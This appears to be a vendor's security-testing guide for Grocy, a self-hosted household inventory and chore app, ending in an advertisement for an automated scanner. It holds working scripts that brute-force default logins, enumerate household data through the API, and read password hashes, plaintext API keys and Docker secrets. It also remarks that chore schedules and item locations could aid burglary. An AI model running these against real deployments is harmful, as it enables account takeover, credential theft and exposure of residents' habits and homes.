Grocy Security Testing: Default Credentials, API Key, Database, and Household ERP Data

Grocy is a widely deployed self-hosted household ERP application — it tracks grocery inventory, chore schedules, meal plans, shopping lists, and financial data for households. Key assessment areas: Grocy can be configured with no authentication for single-user deployments; the API key provides full access to all household tracking data; the SQLite database stores the complete household operational picture including product locations, expiry dates, and personal task lists; and GROCY_AUTH_CLASS configuration controls authentication mode. This guide covers systematic Grocy security assessment.

Table of Contents

  1. Default Credentials and Demo Mode Testing
  2. API Key Data Access and Enumeration
  3. SQLite Database Household Data Extraction
  4. Grocy Security Hardening

Default Credentials and Demo Mode Testing

# Grocy — default credentials and demo mode testing
GROCY_URL="https://grocy.example.com"

# Grocy default credentials — varies by deployment method
for CRED in "admin:admin" "demo:demo" "grocy:grocy" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESULT=$(curl -s -c /tmp/gcjar -X POST "${GROCY_URL}/login" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "username=${USER}&password=${PASS}&_token=$(curl -s -c /tmp/gcjar ${GROCY_URL}/login | grep -oP 'csrf.*?value="\K[^"]+')" \
    -o /dev/null -w "%{http_code}" 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${RESULT}"
done

# Check if demo mode is active (no authentication)
DEMO_CHECK=$(curl -s "${GROCY_URL}/api/system/info" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('grocy_version'):
    print(f'UNAUTHENTICATED ACCESS: Grocy v{d.get(\"grocy_version\")}')
else:
    print('Auth required or error')
" 2>/dev/null)
echo "$DEMO_CHECK"

# Check GROCY_AUTH_CLASS configuration
# If set to NoneAuthMiddleware or demo mode — no authentication
curl -s "${GROCY_URL}/api/system/config" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# May expose configuration details
print(f'Config keys: {list(d.keys())[:10]}')
" 2>/dev/null

# System info reveals version and database details
curl -s "${GROCY_URL}/api/system/info" \
  -H "GROCY-API-KEY: your-api-key" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Grocy version: {d.get(\"grocy_version\")}')
print(f'PHP version: {d.get(\"php_version\")}')
print(f'SQLite version: {d.get(\"sqlite_version\")}')
print(f'Currency: {d.get(\"currency\")}')
" 2>/dev/null

API Key Data Access and Enumeration

# Grocy API key — household data access and enumeration
GROCY_URL="https://grocy.example.com"
GROCY_API_KEY="your-grocy-api-key"

# Get all products/grocery inventory
curl -s "${GROCY_URL}/api/stock" \
  -H "GROCY-API-KEY: ${GROCY_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Stock items: {len(d)}')
for item in d[:10]:
    print(f'  [{item.get(\"product_id\")}] {item.get(\"product\",{}).get(\"name\")}')
    print(f'    amount={item.get(\"amount\")} location={item.get(\"location\",{}).get(\"name\")}')
    print(f'    best_before={str(item.get(\"best_before_date\",\"\"))[:10]}')
" 2>/dev/null

# Get all chores and their assignments
curl -s "${GROCY_URL}/api/chores" \
  -H "GROCY-API-KEY: ${GROCY_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Chores: {len(d)}')
for c in d[:10]:
    print(f'  [{c.get(\"chore_id\")}] {c.get(\"chore\",{}).get(\"name\")}')
    print(f'    next_execution={str(c.get(\"next_estimated_execution_time\",\"\"))[:19]}')
    print(f'    last_done_by={c.get(\"last_done_by\",{}).get(\"display_name\")}')
" 2>/dev/null

# Get shopping list
curl -s "${GROCY_URL}/api/objects/shopping_list" \
  -H "GROCY-API-KEY: ${GROCY_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Shopping list items: {len(d)}')
for item in d[:10]:
    print(f'  [{item.get(\"product_id\")}] amount={item.get(\"amount\")} note={item.get(\"note\",\"\")}')
" 2>/dev/null

# Get all users and their API keys
curl -s "${GROCY_URL}/api/users" \
  -H "GROCY-API-KEY: ${GROCY_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Users: {len(d)}')
for u in d:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} display={u.get(\"display_name\")}')
    # api_key may be included in admin responses
    if u.get('api_key'):
        print(f'    api_key={u.get(\"api_key\")}')
" 2>/dev/null

SQLite Database Household Data Extraction

# Grocy SQLite database extraction

# Grocy data directory
ls /var/www/html/data/ 2>/dev/null | head -10
# grocy.db — main SQLite database
# api-keys.json — API key to user mapping

# Read API keys (may be in JSON or SQLite)
cat /var/www/html/data/api-keys.json 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'API keys: {len(d)}')
for key, userinfo in d.items():
    print(f'  key={key} user={userinfo}')
" 2>/dev/null

# SQLite database extraction
DB_PATH="/var/www/html/data/grocy.db"
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
-- All users
SELECT id, username, display_name,
       password, -- hashed password
       api_key   -- plaintext API key
FROM users
ORDER BY id;
EOF

-- All products tracked in inventory
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT p.id, p.name,
       p.description,
       p.location_id,
       p.calories,
       p.cumulate_min_stock_amount_of_sub_products,
       p.created_timestamp
FROM products p
ORDER BY p.created_timestamp DESC
LIMIT 30;
EOF

-- Tasks and personal to-do list
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT t.id, t.name,
       t.description,
       t.due_date,
       t.done, t.done_timestamp,
       u.username as assigned_to
FROM tasks t
LEFT JOIN users u ON t.assigned_to_user_id = u.id
ORDER BY t.created_timestamp DESC
LIMIT 20;
EOF

-- Docker environment
docker inspect grocy 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['GROCY','PASSWORD','AUTH','CURRENCY','TZ']):
            print(e)
" 2>/dev/null
# GROCY_AUTH_CLASS — authentication class (NoneAuthMiddleware disables auth)

Grocy Security Hardening

Grocy Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credential testingPOST /login with admin/admin — access to full Grocy admin interface and API key generation; full household data access including inventory, chores, and personal task listHigh
Unauthenticated API access via NoneAuthMiddlewareGET /api/system/info without credentials — if GROCY_AUTH_CLASS disables auth, all API endpoints accessible unauthenticated; complete household data enumeration without credentialsHigh
SQLite users table plaintext API key extractionSELECT api_key FROM users — plaintext API keys for all accounts; persistent access to all household tracking data; unlike passwords, API keys stored unencryptedHigh
Household chore and task schedule exposureGET /api/chores and /api/objects/tasks — complete household schedule including when residents perform chores; reveals occupancy patterns and home activity schedules; useful for physical security assessment contextMedium
Grocery inventory and location data accessGET /api/stock with product locations — all tracked items with storage locations in the home; complete household inventory useful for burglary targeting in physical security contextsMedium

Automate Grocy Security Testing

Ironimo tests Grocy deployments for default admin/admin credential testing, GROCY_AUTH_CLASS NoneAuthMiddleware unauthenticated API access, SQLite users table plaintext API key extraction, household chore and task schedule exposure, grocery inventory location data access, Docker GROCY_AUTH_CLASS configuration assessment, api-keys.json plaintext key file exposure, meal plan dietary data extraction, shopping list personal purchase data access, and medication/supplement tracking data if configured.

Start free scan